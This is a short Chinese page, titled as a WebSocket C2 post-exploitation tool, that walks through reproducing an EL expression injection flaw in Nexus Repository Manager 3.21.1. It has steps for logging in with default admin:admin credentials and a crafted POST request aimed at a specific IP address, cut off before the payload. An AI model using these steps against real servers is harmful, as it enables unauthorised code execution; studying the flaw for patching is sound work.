渗透测试工具_WebSocket C2 一款后渗透测试工具

Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中，存在一处任意EL表达式注入漏洞。影响范围：3.21.1

http://download.sonatype.com/nexus/3/nexus-3.21.1-01-unix.tar.gz

修复版本：3.21.2

http://download.sonatype.com/nexus/3/nexus-3.21.2-03-unix.tar.gz

该漏洞需要至少普通用户身份，所以我们需要使用账号密码admin:admin登录后台。
登录后，复制当前Cookie和CSRF Token，发送如下数据包，即可执行EL表达式：

1. POST /service/rest/beta/repositories/go/group HTTP/1.1

2. Host: 188.40.189.134:8081

3. Content-Length: 203

4. X-Requested-With: XMLHttpRequest

5. X-Nexus-UI: true

6. User-Agent: Mo